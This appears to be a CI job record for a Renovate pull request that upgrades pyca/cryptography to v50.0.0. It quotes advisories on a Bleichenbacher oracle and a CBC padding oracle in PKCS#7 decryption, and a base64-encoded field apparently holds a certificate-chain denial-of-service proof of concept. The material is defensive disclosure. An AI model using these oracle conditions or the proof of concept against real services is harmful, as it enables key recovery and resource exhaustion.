          filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm is
          now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g6cj-pr64-35w5)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          / PYSEC-2026-3552\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and
          `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s
          `encryptedKey` in several\ndistinguishable ways, one of which disclosed
          the exact length recovered from the\nRSA operation. The same distinction
          was also observable by timing. An\napplication that decrypts attacker-supplied
          `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher
          oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed
          in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt
          of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC
          decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218
          mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid
          padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing
          `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the
          real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library
          lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL.
          On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a
          synthetic plaintext of\npseudorandom length, so the error channel does not
          distinguish conforming\nciphertexts.\n\nExploitation requires a service
          that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate
          and answers adaptively at high volume, such as\nan S/MIME gateway or mail
          filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm is
          now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3552)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about this update again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/container-image-osism-ansible).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4xMS40IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/container-image-osism-ansible/pull/767
        commit_id: 016ecb4e731a9b374f93a3841fcc28a4b883e46b
        patchset: 016ecb4e731a9b374f93a3841fcc28a4b883e46b
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/container-image-osism-ansible
          name: osism/container-image-osism-ansible
          short_name: container-image-osism-ansible
          src_dir: src/github.com/osism/container-image-osism-ansible
        topic: null
      job: yamllint
      jobtags: []
      max_attempts: 3
      message: Y2hvcmUoZGVwcyk6IHVwZGF0ZSBkZXBlbmRlbmN5IGNyeXB0b2dyYXBoeSB0byB2NTAgW3NlY3VyaXR5XQoKVGhpcyBQUiBjb250YWlucyB0aGUgZm9sbG93aW5nIHVwZGF0ZXM6Cgp8IFBhY2thZ2UgfCBDaGFuZ2UgfCBbQWdlXShodHRwczovL2RvY3MucmVub3ZhdGVib3QuY29tL21lcmdlLWNvbmZpZGVuY2UvKSB8IFtDb25maWRlbmNlXShodHRwczovL2RvY3MucmVub3ZhdGVib3QuY29tL21lcmdlLWNvbmZpZGVuY2UvKSB8CnwtLS18LS0tfC0tLXwtLS18CnwgW2NyeXB0b2dyYXBoeV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5KSAoW2NoYW5nZWxvZ10oaHR0cHM6Ly9jcnlwdG9ncmFwaHkuaW8vZW4vbGF0ZXN0L2NoYW5nZWxvZy8pKSB8IGA9PTQ4LjAuMWAg4oaSIGA9PTUwLjAuMGAgfCAhW2FnZV0oaHR0cHM6Ly9kZXZlbG9wZXIubWVuZC5pby9hcGkvbWMvYmFkZ2VzL2FnZS9weXBpL2NyeXB0b2dyYXBoeS81MC4wLjA/c2xpbT10cnVlKSB8ICFbY29uZmlkZW5jZV0oaHR0cHM6Ly9kZXZlbG9wZXIubWVuZC5pby9hcGkvbWMvYmFkZ2VzL2NvbmZpZGVuY2UvcHlwaS9jcnlwdG9ncmFwaHkvNDguMC4xLzUwLjAuMD9zbGltPXRydWUpIHwKCi0tLQoKIyMjIHB5dGhvbi1jcnlwdG9ncmFwaHk6IER1cGxpY2F0ZSBzZWxmLXNpZ25lZCBpbnRlcm1lZGlhdGVzIGNhbiBjYXVzZSBleHBvbmVudGlhbCBwYXRoLWJ1aWxkaW5nCltDVkUtMjAyNi02OTI0OV0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNjkyNDkpIC8gW0dIU0Etand2My01aGdmLTgyd3ddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0Etand2My01aGdmLTgyd3cpIC8gUFlTRUMtMjAyNi0zNTUzCgo8ZGV0YWlscz4KPHN1bW1hcnk+TW9yZSBpbmZvcm1hdGlvbjwvc3VtbWFyeT4KCiMjIyMgRGV0YWlscwojIyMjIyBTdW1tYXJ5CldoZW4gcmVzb2x2aW5nIGludmFsaWQgY2VydGlmaWNhdGUgY2hhaW5zIHRoYXQgaW5jbHVkZSBkdXBsaWNhdGUgY29waWVzIG9mIHNlbGYtc2lnbmVkIGNlcnRpZmljYXRlcywgdGhlIHByb2Nlc3NpbmcgcmVjdXJzaXZlbHkgaW52b2tlcyB0aGUgc2FtZSBjYW5kaWRhdGUsIGxlYWRpbmcgdG8gYW4gZXhwb25lbnRpYWwgYmxvd3VwLiBBbHRob3VnaCB0aGUgbGltaXRhdGlvbiB0aGF0IHRoZSBjaGFpbiBkZXB0aCBjYW5ub3QgZXhjZWVkIGEgc3BlY2lmaWVkIG1heGltdW0gZGVwdGggcHJldmVudHMgdW5ib3VuZGVkIHJlY3Vyc2lvbiBhbmQgZ3VhcmFudGVlcyB0ZXJtaW5hdGlvbiwgYW4gYXR0YWNrZXItY29udHJvbGxlZCBjZXJ0aWZpY2F0ZSBjaGFpbiBjYW4gbGVhZCB0aGUgcHJvY2Vzc2luZyB0byBlYXNpbHkgdGFrZSBtb3JlIHRoYW4gNXMgdG8gcmVqZWN0IGluIHRlc3RpbmcuIFRoaXMgYW1wbGlmaWNhdGlvbiBjb3VsZCBmb3JtIHRoZSBiYXNpcyBmb3IgYSByZXNvdXJjZSBleGhhdXN0aW9uIGRlbmlhbCBvZiBzZXJ2aWNlIGF0dGFjay4KClRoaXMgd29yayB3YXMgY29tcGxldGVkIGJ5IFRyYWlsIG9mIEJpdHMgYXMgcGFydCBvZiB0aGUgUGF0Y2ggVGhlIFBsYW5ldCBwcm9qZWN0IGluIGNvbGxhYm9yYXRpb24gd2l0aCBPcGVuQUkuIFRoZSBmaW5kaW5nIHdhcyBpZGVudGlmaWVkIHByaW1hcmlseSBieSB0aGUgQ29kZXggY29kaW5nIGFnZW50LCBhbmQgbWFudWFsbHkgcmV2aWV3ZWQgYmVmb3JlIHN1Ym1pc3Npb24uIAoKIyMjIyMgRGV0YWlscwpUaGUgY29yZSBpc3N1ZSBhcmlzZXMgaW4gdGhlIHJlY3Vyc2l2ZSBuYXR1cmUgb2YgYGJ1aWxkX2NoYWluX2lubmVyYCwgd2hpY2ggZG9lcyBub3QgZGUtZHVwbGljYXRlIGFnYWluc3QgcHJldmlvdXNseSBhbmFseXplZCBjYW5kaWRhdGVzLgoKYGBgcHl0aG9uCiAgICBmbiBidWlsZF9jaGFpbl9pbm5lcigKICAgICAgICAmc2VsZiwKICAgICAgICB3b3JraW5nX2NlcnQ6ICZWZXJpZmljYXRpb25DZXJ0aWZpY2F0ZTwnY2hhaW4sIEI+LAogICAgICAgIGN1cnJlbnRfZGVwdGg6IHU4LAogICAgICAgIHdvcmtpbmdfY2VydF9leHRlbnNpb25zOiAmRXh0ZW5zaW9uczwnY2hhaW4+LAogICAgICAgIG5hbWVfY2hhaW46IE5hbWVDaGFpbjwnXywgJ2NoYWluPiwKICAgICAgICBidWRnZXQ6ICZtdXQgQnVkZ2V0LAogICAgKSAtPiBWYWxpZGF0aW9uUmVzdWx0PCdjaGFpbiwgQ2hhaW48J2NoYWluLCBCPiwgQj4gewogICAgICAgIGlmIGxldCBTb21lKG5jKSA9IHdvcmtpbmdfY2VydF9leHRlbnNpb25zLmdldF9leHRlbnNpb24oJk5BTUVfQ09OU1RSQUlOVFNfT0lEKSB7CiAgICAgICAgICAgIG5hbWVfY2hhaW4uZXZhbHVhdGVfY29uc3RyYWludHMoJm5jLnZhbHVlKCk/LCBidWRnZXQpPzsKICAgICAgICB9CgogICAgICAgIC8vIExvb2sgaW4gdGhlIHN0b3JlJ3Mgcm9vdCBzZXQgdG8gc2VlIGlmIHRoZSB3b3JraW5nIGNlcnQgaXMgbGlzdGVkLgogICAgICAgIC8vIElmIGl0IGlzLCB3ZSd2ZSByZWFjaGVkIHRoZSBlbmQuCiAgICAgICAgaWYgc2VsZi5zdG9yZS5jb250YWlucyh3b3JraW5nX2NlcnQpIHsKICAgICAgICAgICAgcmV0dXJuIE9rKHZlYyFbd29ya2luZ19jZXJ0LmNsb25lKCldKTsKICAgICAgICB9CgogICAgICAgIC8vIENoZWNrIHRoYXQgb3VyIGN1cnJlbnQgZGVwdGggZG9lcyBub3QgZXhjZWVkIG91ciBwb2xpY3ktY29uZmlndXJlZAogICAgICAgIC8vIG1heCBkZXB0aC4gV2UgZG8gdGhpcyBhZnRlciB0aGUgcm9vdCBzZXQgY2hlY2ssIHNpbmNlIHRoZSBkZXB0aAogICAgICAgIC8vIG9ubHkgbWVhc3VyZXMgdGhlIGludGVybWVkaWF0ZSBjaGFpbidzIGxlbmd0aCwgbm90IHRoZSByb290IG9yIGxlYWYuCiAgICAgICAgaWYgY3VycmVudF9kZXB0aCA+IHNlbGYucG9saWN5Lm1heF9jaGFpbl9kZXB0aCB7CiAgICAgICAgICAgIHJldHVybiBFcnIoVmFsaWRhdGlvbkVycm9yOjpuZXcoVmFsaWRhdGlvbkVycm9yS2luZDo6T3RoZXIoCiAgICAgICAgICAgICAgICAiY2hhaW4gY29uc3RydWN0aW9uIGV4Y2VlZHMgbWF4IGRlcHRoIi5pbnRvKCksCiAgICAgICAgICAgICkpKTsKICAgICAgICB9CgogICAgICAgIC8vIE90aGVyd2lzZSwgd2UgY29sbGVjdCBhIGxpc3Qgb2YgcG90ZW50aWFsIGlzc3VlcnMgZm9yIHRoaXMgY2VydCwKICAgICAgICAvLyBhbmQgY29udGludWUgd2l0aCB0aGUgZmlyc3QgdGhhdCB2ZXJpZmllcy4KICAgICAgICBsZXQgbXV0IGxhc3RfZXJyOiBPcHRpb248VmFsaWRhdGlvbkVycm9yPCdfLCBCPj4gPSBOb25lOwogICAgICAgIGZvciBpc3N1aW5nX2NlcnRfY2FuZGlkYXRlIGluIHNlbGYucG90ZW50aWFsX2lzc3VlcnMod29ya2luZ19jZXJ0KSB7CiAgICAgICAgICAgIC8vIEEgY2FuZGlkYXRlIGlzc3VlciBpcyBzYWlkIHRvIHZlcmlmeSBpZiBpdCBib3RoCiAgICAgICAgICAgIC8vIHNpZ25zIGZvciB0aGUgd29ya2luZyBjZXJ0aWZpY2F0ZSBhbmQgY29uZm9ybXMgdG8gdGhlCiAgICAgICAgICAgIC8vIHBvbGljeS4KICAgICAgICAgICAgbGV0IGlzc3Vlcl9leHRlbnNpb25zID0gaXNzdWluZ19jZXJ0X2NhbmRpZGF0ZS5jZXJ0aWZpY2F0ZSgpLmV4dGVuc2lvbnMoKT87CiAgICAgICAgICAgIG1hdGNoIHNlbGYucG9saWN5LnZhbGlkX2lzc3VlcigKICAgICAgICAgICAgICAgIGlzc3VpbmdfY2VydF9jYW5kaWRhdGUsCiAgICAgICAgICAgICAgICB3b3JraW5nX2NlcnQsCiAgICAgICAgICAgICAgICBjdXJyZW50X2RlcHRoLAogICAgICAgICAgICAgICAgJmlzc3Vlcl9leHRlbnNpb25zLAogICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgIE9rKF8pID0+IHsKICAgICAgICAgICAgICAgICAgICBtYXRjaCBzZWxmLmJ1aWxkX2NoYWluX2lubmVyKApgYGAKCkEgc3VmZmljaWVudCBwYXRjaCBpcyB0byB0cmFjayB2YWxpZCBpc3N1ZXJzLCBhbmQgdG8gc2tpcCBzZWVuIG9uZXMgYmVmb3JlIHJlY3Vyc2luZy4gQnkgdHJhY2tpbmcgdmFsaWQgaXNzdWVycyBvbmx5LCB2YWxpZGF0aW9uIGFuZCBjdXN0b20gZXh0ZW5zaW9uLXBvbGljeSBjYWxsYmFja3Mgc3RpbGwgcnVuLgoKYGBgcnVzdAogICAgICAgICAgbGV0IG11dCBzZWVuX3ZhbGlkX2lzc3VlcnMgPSBWZWM6OjwmVmVyaWZpY2F0aW9uQ2VydGlmaWNhdGU8J2NoYWluLCBCPj46Om5ldygpOwogICAgICAgICAgZm9yIGlzc3VpbmdfY2VydF9jYW5kaWRhdGUgaW4gc2VsZi5wb3RlbnRpYWxfaXNzdWVycyh3b3JraW5nX2NlcnQpIHsKICAgICAgICAgIC4gLiAuCiAgICAgICAgICAgICAgICAgIE9rKF8pID0+IHsKICAgICAgICAgICAgICAgICAgICAgIGlmIHNlZW5fdmFsaWRfaXNzdWVycy5jb250YWlucygmaXNzdWluZ19jZXJ0X2NhbmRpZGF0ZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICBzZWVuX3ZhbGlkX2lzc3VlcnMucHVzaChpc3N1aW5nX2NlcnRfY2FuZGlkYXRlKTsKIAogICAgICAgICAgICAgICAgICAgICAgbWF0Y2ggc2VsZi5idWlsZF9jaGFpbl9pbm5lcigKICAgICAgICAgICAgICAgICAgICAgICAgICBpc3N1aW5nX2NlcnRfY2FuZGlkYXRlLAogICAgICAgICAgICAgICAgICAgICAgICAgIC8vIE5PVEUod3cpOiBBY2NvcmRpbmcgdG8gUkZDIDUyODAsIHdlIHNob3VsZCBvbmx5CmBgYAoKSW4gdGVzdGluZywgdGhpcyBmaXggcmVtb3ZlZCB0aGUgZXhwb25lbnRpYWwgYmxvd3VwIHdpdGhvdXQgYnJlYWtpbmcgYXBwYXJlbnQgY29ycmVjdG5lc3MuIAoKYGBgCmR1cGxpY2F0ZXMsbWF4X2RlcHRoLHJlc3VsdCxzZWNvbmRzCjEsNyxyZWplY3RlZCwwLjAwMDQ2NCAtPiAxLDcscmVqZWN0ZWQsMC4wMDA2NjcKMiw3LHJlamVjdGVkLDAuMDI1MTU0IC0+IDIsNyxyZWplY3RlZCwwLjAwMTIyOQozLDcscmVqZWN0ZWQsMC40ODk5MjQgLT4gMyw3LHJlamVjdGVkLDAuMDAxNjE5IAo0LDcscmVqZWN0ZWQsNC4zMDk0MDMgLT4gNCw3LHJlamVjdGVkLDAuMDAyMTQ0CjMsOCxyZWplY3RlZCwxLjQ2ODE5MyAtPiAzLDgscmVqZWN0ZWQsMC4wMDE4MTEKNCw4LHRpbWVvdXQ+NXMsICAgICAgIC0+IDQsOCxyZWplY3RlZCwwLjAwMjQxMAo1LDcsdGltZW91dD41cywgICAgICAgLT4gNSw3LHJlamVjdGVkLDAuMDAyNjQwCjYsNix0aW1lb3V0PjVzLCAgICAgICAtPiA2LDYscmVqZWN0ZWQsMC4wMDI4MjkKYGBgCgojIyMjIyBQb0MKVGhlIGZvbGxvd2luZyBzY3JpcHQgYmVuY2htYXJrcyBwcm9jZXNzaW5nIHRpbWVzIGZvciBtYWxpY2lvdXMgY2VydCBjaGFpbnMuCgpgYGBweXRob24KaW1wb3J0IGRhdGV0aW1lCmltcG9ydCBtdWx0aXByb2Nlc3NpbmcKaW1wb3J0IHRpbWUKCmltcG9ydCBjcnlwdG9ncmFwaHkKZnJvbSBjcnlwdG9ncmFwaHkgaW1wb3J0IHg1MDkKZnJvbSBjcnlwdG9ncmFwaHkuaGF6bWF0LnByaW1pdGl2ZXMgaW1wb3J0IGhhc2hlcwpmcm9tIGNyeXB0b2dyYXBoeS5oYXptYXQucHJpbWl0aXZlcy5hc3ltbWV0cmljIGltcG9ydCBlYwpmcm9tIGNyeXB0b2dyYXBoeS54NTA5Lm9pZCBpbXBvcnQgRXh0ZW5kZWRLZXlVc2FnZU9JRCwgTmFtZU9JRApmcm9tIGNyeXB0b2dyYXBoeS54NTA5LnZlcmlmaWNhdGlvbiBpbXBvcnQgKAogICAgRE5TTmFtZSwKICAgIFBvbGljeUJ1aWxkZXIsCiAgICBTdG9yZSwKICAgIFZlcmlmaWNhdGlvbkVycm9yLAopCgpOT1cgPSBkYXRldGltZS5kYXRldGltZSgyMDI0LCAxLCAxLCB0emluZm89ZGF0ZXRpbWUudGltZXpvbmUudXRjKQpUSU1FT1VUID0gNQpDQV9LRVlfVVNBR0UgPSB4NTA5LktleVVzYWdlKAogICAgZGlnaXRhbF9zaWduYXR1cmU9VHJ1ZSwKICAgIGNvbnRlbnRfY29tbWl0bWVudD1GYWxzZSwKICAgIGtleV9lbmNpcGhlcm1lbnQ9RmFsc2UsCiAgICBkYXRhX2VuY2lwaGVybWVudD1GYWxzZSwKICAgIGtleV9hZ3JlZW1lbnQ9RmFsc2UsCiAgICBrZXlfY2VydF9zaWduPVRydWUsCiAgICBjcmxfc2lnbj1UcnVlLAogICAgZW5jaXBoZXJfb25seT1GYWxzZSwKICAgIGRlY2lwaGVyX29ubHk9RmFsc2UsCikKRUVfS0VZX1VTQUdFID0geDUwOS5LZXlVc2FnZSgKICAgIGRpZ2l0YWxfc2lnbmF0dXJlPVRydWUsCiAgICBjb250ZW50X2NvbW1pdG1lbnQ9RmFsc2UsCiAgICBrZXlfZW5jaXBoZXJtZW50PUZhbHNlLAogICAgZGF0YV9lbmNpcGhlcm1lbnQ9RmFsc2UsCiAgICBrZXlfYWdyZWVtZW50PUZhbHNlLAogICAga2V5X2NlcnRfc2lnbj1GYWxzZSwKICAgIGNybF9zaWduPUZhbHNlLAogICAgZW5jaXBoZXJfb25seT1GYWxzZSwKICAgIGRlY2lwaGVyX29ubHk9RmFsc2UsCikKCmRlZiBuYW1lKGNvbW1vbl9uYW1lKToKICAgIHJldHVybiB4NTA5Lk5hbWUoW3g1MDkuTmFtZUF0dHJpYnV0ZShOYW1lT0lELkNPTU1PTl9OQU1FLCBjb21tb25fbmFtZSldKQoKZGVmIGJhc2VfYnVpbGRlcihzdWJqZWN0LCBpc3N1ZXIsIHB1YmxpY19rZXksIHNlcmlhbCk6CiAgICByZXR1cm4gKAogICAgICAgIHg1MDkuQ2VydGlmaWNhdGVCdWlsZGVyKCkKICAgICAgICAuc3ViamVjdF9uYW1lKHN1YmplY3QpCiAgICAgICAgLmlzc3Vlcl9uYW1lKGlzc3VlcikKICAgICAgICAucHVibGljX2tleShwdWJsaWNfa2V5KQogICAgICAgIC5zZXJpYWxfbnVtYmVyKHNlcmlhbCkKICAgICAgICAubm90X3ZhbGlkX2JlZm9yZShOT1cgLSBkYXRldGltZS50aW1lZGVsdGEoZGF5cz0xKSkKICAgICAgICAubm90X3ZhbGlkX2FmdGVyKE5PVyArIGRhdGV0aW1lLnRpbWVkZWx0YShkYXlzPTMwKSkKICAgICkKCmRlZiBtYWtlX2NhKGNvbW1vbl9uYW1lLCBzZXJpYWwpOgogICAgcHJpdmF0ZV9rZXkgPSBlYy5nZW5lcmF0ZV9wcml2YXRlX2tleShlYy5TRUNQMjU2UjEoKSkKICAgIHN1YmplY3QgPSBuYW1lKGNvbW1vbl9uYW1lKQogICAgY2VydCA9ICgKICAgICAgICBiYXNlX2J1aWxkZXIoc3ViamVjdCwgc3ViamVjdCwgcHJpdmF0ZV9rZXkucHVibGljX2tleSgpLCBzZXJpYWwpCiAgICAgICAgLmFkZF9leHRlbnNpb24oeDUwOS5CYXNpY0NvbnN0cmFpbnRzKGNhPVRydWUsIHBhdGhfbGVuZ3RoPU5vbmUpLCBUcnVlKQogICAgICAgIC5hZGRfZXh0ZW5zaW9uKENBX0tFWV9VU0FHRSwgVHJ1ZSkKICAgICAgICAuYWRkX2V4dGVuc2lvbigKICAgICAgICAgICAgeDUwOS5TdWJqZWN0S2V5SWRlbnRpZmllci5mcm9tX3B1YmxpY19rZXkocHJpdmF0ZV9rZXkucHVibGljX2tleSgpKSwKICAgICAgICAgICAgRmFsc2UsCiAgICAgICAgKQogICAgICAgIC5zaWduKHByaXZhdGVfa2V5LCBoYXNoZXMuU0hBMjU2KCkpCiAgICApCiAgICByZXR1cm4gcHJpdmF0ZV9rZXksIGNlcnQKCmRlZiBtYWtlX2xlYWYoaXNzdWVyX2tleSwgaXNzdWVyX2NlcnQpOgogICAgcHJpdmF0ZV9rZXkgPSBlYy5nZW5lcmF0ZV9wcml2YXRlX2tleShlYy5TRUNQMjU2UjEoKSkKICAgIHJldHVybiAoCiAgICAgICAgYmFzZV9idWlsZGVyKG5hbWUoImxlYWYiKSwgaXNzdWVyX2NlcnQuc3ViamVjdCwgcHJpdmF0ZV9rZXkucHVibGljX2tleSgpLCAxMDApCiAgICAgICAgLmFkZF9leHRlbnNpb24oeDUwOS5CYXNpY0NvbnN0cmFpbnRzKGNhPUZhbHNlLCBwYXRoX2xlbmd0aD1Ob25lKSwgVHJ1ZSkKICAgICAgICAuYWRkX2V4dGVuc2lvbihFRV9LRVlfVVNBR0UsIFRydWUpCiAgICAgICAgLmFkZF9leHRlbnNpb24oeDUwOS5TdWJqZWN0QWx0ZXJuYXRpdmVOYW1lKFt4NTA5LkROU05hbWUoImV4YW1wbGUuY29tIildKSwgRmFsc2UpCiAgICAgICAgLmFkZF9leHRlbnNpb24oCiAgICAgICAgICAgIHg1MDkuQXV0aG9yaXR5S2V5SWRlbnRpZmllci5mcm9tX2lzc3Vlcl9wdWJsaWNfa2V5KGlzc3Vlcl9rZXkucHVibGljX2tleSgpKSwKICAgICAgICAgICAgRmFsc2UsCiAgICAgICAgKQogICAgICAgIC5hZGRfZXh0ZW5zaW9uKHg1MDkuRXh0ZW5kZWRLZXlVc2FnZShbRXh0ZW5kZWRLZXlVc2FnZU9JRC5TRVJWRVJfQVVUSF0pLCBGYWxzZSkKICAgICAgICAuc2lnbihpc3N1ZXJfa2V5LCBoYXNoZXMuU0hBMjU2KCkpCiAgICApCgpkZWYgYnVpbGRfbWF0ZXJpYWwoKToKICAgIGxvb3Bpbmdfa2V5LCBsb29waW5nX2NhID0gbWFrZV9jYSgibG9vcGluZyBzZWxmLXNpZ25lZCBDQSIsIDEpCiAgICBfLCB1bnJlbGF0ZWRfcm9vdCA9IG1ha2VfY2EoInVucmVsYXRlZCB0cnVzdCBhbmNob3IiLCAyKQogICAgbGVhZiA9IG1ha2VfbGVhZihsb29waW5nX2tleSwgbG9vcGluZ19jYSkKICAgIHJldHVybiBsZWFmLCBsb29waW5nX2NhLCB1bnJlbGF0ZWRfcm9vdAoKZGVmIHZlcmlmeV9jYXNlKGR1cGxpY2F0ZXMsIG1heF9kZXB0aCwgcXVldWUpOgogICAgbGVhZiwgbG9vcGluZ19jYSwgdW5yZWxhdGVkX3Jvb3QgPSBidWlsZF9tYXRlcmlhbCgpCiAgICB2ZXJpZmllciA9ICgKICAgICAgICBQb2xpY3lCdWlsZGVyKCkKICAgICAgICAuc3RvcmUoU3RvcmUoW3VucmVsYXRlZF9yb290XSkpCiAgICAgICAgLnRpbWUoTk9XKQogICAgICAgIC5tYXhfY2hhaW5fZGVwdGgobWF4X2RlcHRoKQogICAgICAgIC5idWlsZF9zZXJ2ZXJfdmVyaWZpZXIoRE5TTmFtZSgiZXhhbXBsZS5jb20iKSkKICAgICkKCiAgICBzdGFydCA9IHRpbWUucGVyZl9jb3VudGVyKCkKICAgIHRyeToKICAgICAgICB2ZXJpZmllci52ZXJpZnkobGVhZiwgW2xvb3BpbmdfY2FdICogZHVwbGljYXRlcykKICAgICAgICByZXN1bHQgPSAiYWNjZXB0ZWQiCiAgICBleGNlcHQgVmVyaWZpY2F0aW9uRXJyb3I6CiAgICAgICAgcmVzdWx0ID0gInJlamVjdGVkIgogICAgcXVldWUucHV0KChyZXN1bHQsIHRpbWUucGVyZl9jb3VudGVyKCkgLSBzdGFydCkpCgpkZWYgcnVuX2Nhc2UoZHVwbGljYXRlcywgbWF4X2RlcHRoKToKICAgIHF1ZXVlID0gbXVsdGlwcm9jZXNzaW5nLlF1ZXVlKCkKICAgIHByb2Nlc3MgPSBtdWx0aXByb2Nlc3NpbmcuUHJvY2VzcygKICAgICAgICB0YXJnZXQ9dmVyaWZ5X2Nhc2UsCiAgICAgICAgYXJncz0oZHVwbGljYXRlcywgbWF4X2RlcHRoLCBxdWV1ZSksCiAgICApCiAgICBwcm9jZXNzLnN0YXJ0KCkKICAgIHByb2Nlc3Muam9pbihUSU1FT1VUKQoKICAgIGlmIHByb2Nlc3MuaXNfYWxpdmUoKToKICAgICAgICBw